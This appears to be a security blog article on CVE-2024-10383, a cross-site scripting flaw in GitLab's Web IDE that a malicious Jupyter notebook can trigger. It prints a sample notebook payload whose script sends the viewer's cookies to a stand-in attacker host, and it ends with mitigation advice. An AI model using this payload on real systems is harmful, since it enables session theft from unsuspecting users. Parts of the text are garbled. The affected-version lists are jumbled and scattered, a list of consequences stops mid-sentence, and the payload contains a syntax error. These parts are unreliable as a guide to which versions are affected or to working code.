CVE-2024-10383 - Critical XSS Vulnerability in GitLab Web IDE – Explained with Exploit Example

A serious security flaw has been discovered and tracked as CVE-2024-10383, impacting the popular GitLab code collaboration platform. The issue exists in its gitlab-web-ide-vscode-fork component, available over CDN and integrated into all GitLab Community and Enterprise Editions (CE/EE) from version 15.11 up to (but not including) 17.3. Intriguingly, the vulnerability also temporarily affected newer releases 17.4, 17.5, and 17.6 before being patched.

CVE-2024-10383 allows attackers to exploit a Cross-site Scripting (XSS) vulnerability whenever a user opens a Jupyter Notebook file (.ipynb) inside the Web IDE.

Below we dive into how this XSS issue arises, detail the exploit with code snippets, and provide actionable advice for mitigation.

Affected GitLab Versions:

- All CE/EE releases from 15.11 up to 17.3

gitlab-web-ide-vscode-fork 1.89.1-1..-dev-20241118094343 and later

- GitLab CE/EE 17.3. and latest 17.x releases after patch

How Does the XSS Vulnerability Work?

Jupyter Notebooks are stored in JSON format. Markdown and code cell outputs can contain HTML fragments or even scripts, which, if not properly sanitized by the web application, can execute arbitrary JavaScript in the user’s browser session.

The vulnerable gitlab-web-ide-vscode-fork failed to sanitize certain contents when rendering .ipynb files. If a malicious notebook contained HTML <script> tags (or similar vectors) in its output, these scripts could run in the context of the user’s session, potentially:

Simple Example: The Malicious .ipynb Payload

Let's look at a basic exploit that an attacker might upload to a GitLab repository.

malicious-notebook.ipynb

{
 "cells": [
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "<h1>Welcome!</h1>",
    "<script>fetch('https://attacker.domain/steal?cookie='; + document.cookie)</script>"
   ]
  }
 ],
 "metadata": {},
 "nbformat": 4,
 "nbformat_minor": 2
}

The above notebook has a markdown cell with a <script> tag.

2. When a user opens this file in GitLab Web IDE (affected versions), this JavaScript code runs in the browser.

Observe XSS:

If you inspect browser requests, you'll see a beacon is sent to https://attacker.domain/steal with your GitLab cookies.

![](https://i.imgur.com/UQmzAOs.png)
*Example: Network request leaking sensitive session cookie*

Note: In real attacks, payloads might be obfuscated, do hidden redirects, or use more sophisticated collection mechanisms.

Temporarily: 17.4, 17.5, 17.6

- Any deployments with the vulnerable web-ide distributed via CDN and allowed opening of notebook files

You are at risk.
Anyone with write access could upload a malicious notebook and execute code in the session of a user who opens it in the Web IDE (e.g., maintainers, code reviewers, or even yourself).

Official References

- GitLab Security Release Blog
- CVE-2024-10383 at NVD
- GitLab Issue Tracker: XSS in Notebook Rendering
- Jupyter Security: Best Practices

Verify Your Web IDE Assets:

- Make sure you are referencing the safe version of gitlab-web-ide-vscode-fork in your CDN/web assets.

Restrict Notebook Editing for Untrusted Users:

- While waiting to patch, restrict Web IDE access and review all .ipynb commits from users without full trust.

Deploy a Web Application Firewall (WAF):

- As a stopgap, WAF rules can block requests with suspicious inputs or outgoing requests to unknown domains.

Final Thoughts

This vulnerability highlights the risks of rendering complex, user-supplied files—especially with tools like Jupyter notebooks—inside web-based editors. If you use GitLab Web IDE for reviewing or collaborating on notebooks, this is a critical patch. The exploit requires no advanced skills and was trivial to reproduce (see above).

Further Reading

- Jupyter Notebook Security Model
- OWASP XSS Prevention Cheat Sheet

Timeline

Published on: 02/07/2025 15:15:16 UTC